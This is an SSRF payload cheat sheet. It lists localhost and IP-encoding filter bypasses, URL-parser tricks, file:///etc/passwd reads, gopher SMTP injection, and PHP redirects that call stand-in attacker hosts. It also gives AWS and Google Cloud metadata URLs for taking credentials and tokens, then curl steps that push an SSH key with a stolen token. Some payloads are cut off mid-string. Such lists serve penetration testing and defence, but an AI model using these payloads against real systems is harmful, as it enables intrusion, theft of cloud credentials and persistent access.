Basic SSRF v1

http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://0.0.0.0:80
http://0.0.0.0:443
http://0.0.0.0:22

Basic SSRF — Alternative version

http://localhost:80
http://localhost:443
http://localhost:22

Advanced exploit using a redirection

1. Create a subdomain pointing to 192.168.0.1 with DNS A record  e.g:ssrf.example.com
2. Launch the SSRF: vulnerable.com/index.php?url=http://YOUR_SERVER_IP
vulnerable.com will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1

Advanced exploit using type=url

Change "type=file" to "type=url"
Paste URL in text field and hit enter
Using this vulnerability users can upload images from any image URL = trigger an SSRF

Bypassing filters

Bypass using HTTPS

https://127.0.0.1/
https://localhost/

Bypass localhost with [::]

http://[::]:80/
http://[::]:25/ SMTP
http://[::]:22/ SSH
http://[::]:3128/ Squid
http://0000::1:80/
http://0000::1:25/ SMTP
http://0000::1:22/ SSH
http://0000::1:3128/ Squid

Bypass localhost with a domain redirection

http://spoofed.burpcollaborator.net
http://localtest.me
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://mail.ebc.apple.com redirect to 127.0.0.6 == localhost
http://bugbounty.dod.network redirect to 127.0.0.2 == localhost

The service nip.io is awesome for that, it will convert any ip address as a dns.

NIP.IO maps <anything>.<IP Address>.nip.io to the corresponding <IP Address>, even 127.0.0.1.nip.io maps to 127.0.0.1

Bypass localhost with CIDR

It’s a /8

http://127.127.127.127
http://127.0.1.3
http://127.0.0.0

Bypass using a decimal IP location

http://0177.0.0.1/
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1

Bypass using IPv6/IPv4 Address Embedding

IPv6/IPv4 Address Embedding

http://[0:0:0:0:0:ffff:127.0.0.1]

Bypass using malformed urls

localhost:+11211aaa
localhost:00011211aaaa

Bypass using rare address

You can short-hand IP addresses by dropping the zeros

http://0/
http://127.1
http://127.0.1

Bypass using bash variables

(curl only)

curl -v "http://evil$google.com"
$google = ""

Bypass using tricks combination

http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib2 : 1.1.1.1
requests + browsers : 2.2.2.2
urllib : 3.3.3.3

Bypass filter_var() php function

0://evil.com:80;http://google.com:80/

Bypass against a weak parser

by Orange Tsai (Blackhat A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf)

http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/

SSRF exploitation via URL Scheme

File

Allows an attacker to fetch the content of a file on the server

file://path/to/file
file:///etc/passwd
file://\/\/etc/passwd
ssrf.php?url=file:///etc/passwd

HTTP

Allows an attacker to fetch any content from the web, it can also be used to scan ports.

ssrf.php?url=http://127.0.0.1:22
ssrf.php?url=http://127.0.0.1:80
ssrf.php?url=http://127.0.0.1:443

The following URL scheme can be used to probe the network

Dict

The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:

dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/

SFTP

A network protocol used for secure file transfer over secure shell

ssrf.php?url=sftp://evil.com:11111/

TFTP

Trivial File Transfer Protocol, works over UDP

ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET

LDAP

Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.

ssrf.php?url=ldap://localhost:11211/%0astats%0aquit

Gopher

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250awill make a request like

Gopher SMTP — Back connect to 1337

Content of evil.com/redirect.php:
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>
Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher SMTP — send a mail

Content of evil.com/redirect.php:
<?php
$commands = array(
'HELO victim.com',
'MAIL FROM: <admin@victim.com>',

SSRF URL for AWS Elastic Beanstalk

We retrieve the accountId and region from the API.

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

We then retrieve the AccessKeyId, SecretAccessKey, and Token from the API.

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Then we use the credentials with aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/.

SSRF URL for Google Cloud

Requires the header “Metadata-Flavor: Google” or “X-Google-Metadata-Request: True”

http://169.254.169.254/computeMetadata/v1/

http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id

Google allows recursive pulls

Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

Interesting files to pull out:

Add an SSH key

Extract the token

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

Check the scope of the token

$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  { 
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}

Now push the SSH key.

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" 
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
